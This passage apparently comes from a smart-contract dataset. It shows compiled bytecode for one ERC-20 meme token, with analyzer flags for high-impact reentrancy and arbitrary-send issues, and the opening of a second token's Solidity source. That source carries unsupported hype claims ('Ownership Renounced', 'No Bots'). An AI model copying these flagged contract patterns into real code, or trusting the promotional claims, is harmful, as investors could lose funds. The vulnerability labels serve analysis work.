fffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b39092919063ffffffff16565b61185d565b600190509392505050565b610867611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611855565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612373565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246e565b90505b919050565b610bd5611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f47534c5554000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611855565b8484611a54565b6001905092915050565b610ddf611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611855565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124f2565b50565b610fa9611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050506040513d602081101561160a57600080fd5b81019080805190602001909291905050505050565b611627611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178c606461177e83683635c9adc5dea000006127dc90919063ffffffff16565b61286290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613db96024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d006022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d946025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613cb36023913960400191505060405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d6b6029913960400191505060405180910390fd5b611bc1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f057601360179054906101000a900460ff1615611e95573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d655750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dab611855565b73ffffffffffffffffffffffffffffffffffffffff161480611e215750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e09611855565b73ffffffffffffffffffffffffffffffffffffffff16145b611e93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f8557601454811115611ed757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f8457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120305750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120865750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561209e5750601360179054906101000a900460ff165b156121365742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ee57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061214130610ae2565b9050601360159054906101000a900460ff161580156121ae5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121c65750601360169054906101000a900460ff165b156121ee576121d4816124f2565b600047905060008111156121ec576121eb47612373565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122975750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122a157600090505b6122ad848484846128ac565b50505050565b6000838311158290612360576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561232557808201518184015260208101905061230a565b50505050905090810190601f1680156123525780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123c360028461286290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ee573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61243f60028461286290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561246a573d6000803e3d6000fd5b5050565b6000600a548211156124cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cd6602a913960400191505060405180910390fd5b60006124d5612b03565b90506124ea818461286290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561252757600080fd5b506040519080825280602002602001820160405280156125565781602001602082028036833780820191505090505b509050308160008151811061256757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561260957600080fd5b505afa15801561261d573d6000803e3d6000fd5b505050506040513d602081101561263357600080fd5b81019080805190602001909291905050508160018151811061265157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126b830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561277c578082015181840152602081019050612761565b505050509050019650505050505050600060405180830381600087803b1580156127a557600080fd5b505af11580156127b9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ef576000905061285c565b600082840290508284828161280057fe5b0414612857576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d226021913960400191505060405180910390fd5b809150505b92915050565b60006128a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b2e565b905092915050565b806128ba576128b9612bf4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561295d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129725761296d848484612c37565b612aef565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a155750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a2a57612a25848484612e97565b612aee565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612acc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ae157612adc8484846130f7565b612aed565b612aec8484846133ec565b5b5b5b80612afd57612afc6135b7565b5b50505050565b6000806000612b106135cb565b91509150612b27818361286290919063ffffffff16565b9250505090565b60008083118290612bda576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b9f578082015181840152602081019050612b84565b50505050905090810190601f168015612bcc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612be657fe5b049050809150509392505050565b6000600c54148015612c0857506000600d54145b15612c1257612c35565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c4987613878565b955095509550955095509550612ca787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dd185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e1d816139b2565b612e278483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612ea987613878565b955095509550955095509550612f0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f9c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061303185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061307d816139b2565b6130878483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061310987613878565b95509550955095509550955061316787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131fc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613372816139b2565b61337c8483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133fe87613878565b95509550955095509550955061345c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061353d816139b2565b6135478483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561382d5782600260006009848154811061360557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136ec575081600360006009848154811061368457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561370a57600a54683635c9adc5dea0000094509450505050613874565b613793600260006009848154811061371e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138e090919063ffffffff16565b925061381e60036000600984815481106137a957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138e090919063ffffffff16565b915080806001019150506135e6565b5061384c683635c9adc5dea00000600a5461286290919063ffffffff16565b82101561386b57600a54683635c9adc5dea00000935093505050613874565b81819350935050505b9091565b60008060008060008060008060006138958a600c54600d54613b91565b92509250925060006138a5612b03565b905060008060006138b88e878787613c29565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061392283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122b3565b905092915050565b6000808284019050838110156139a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139bc612b03565b905060006139d382846127dc90919063ffffffff16565b9050613a2781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b5257613b0e83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b6c82600a546138e090919063ffffffff16565b600a81905550613b8781600b5461392a90919063ffffffff16565b600b819055505050565b600080600080613bbe6103e8613bb0888a6127dc90919063ffffffff16565b61286290919063ffffffff16565b90506000613be96103e8613bdb888b6127dc90919063ffffffff16565b61286290919063ffffffff16565b90506000613c1282613c04858c6138e090919063ffffffff16565b6138e090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c4285896127dc90919063ffffffff16565b90506000613c5986896127dc90919063ffffffff16565b90506000613c7087896127dc90919063ffffffff16565b90506000613c9982613c8b85876138e090919063ffffffff16565b6138e090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122024a23b4438f54f8effd218b61443080feb4e30d3d19d1b2a80d4d13045d63ec464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,922
0x3cf3919d4a1223794a5dca3e2cb4387cc51735f0
/** *Submitted for verification at Etherscan.io on 2021-06-16 */ /* ╭━┳╮╱╱╱╱╱╱╱╱╱╭━┳━━┳━━┳━┳╮ ╰╮┃┣┳┳━━┳━━┳┳┫┳┫╭━┫╭━╋╮┃┃ ╭┻╮┃┃┃┃┃┃┃┃┃┃┃┻┫╰╮┃╰╮┣┻╮┃ ╰━━┻━┻┻┻┻┻┻╋╮┣━┻━━┻━━┻━━╯ ╱╱╱╱╱╱╱╱╱╱╱╰━╯ t.me/YummyEggy MOON-MISSION EGGPLANT STYLE! No Bots. No Presale. Liquidity Locked. Ownership Renounced. Yummy Eggy. No Team Tokens. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract YummyEGGY is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private 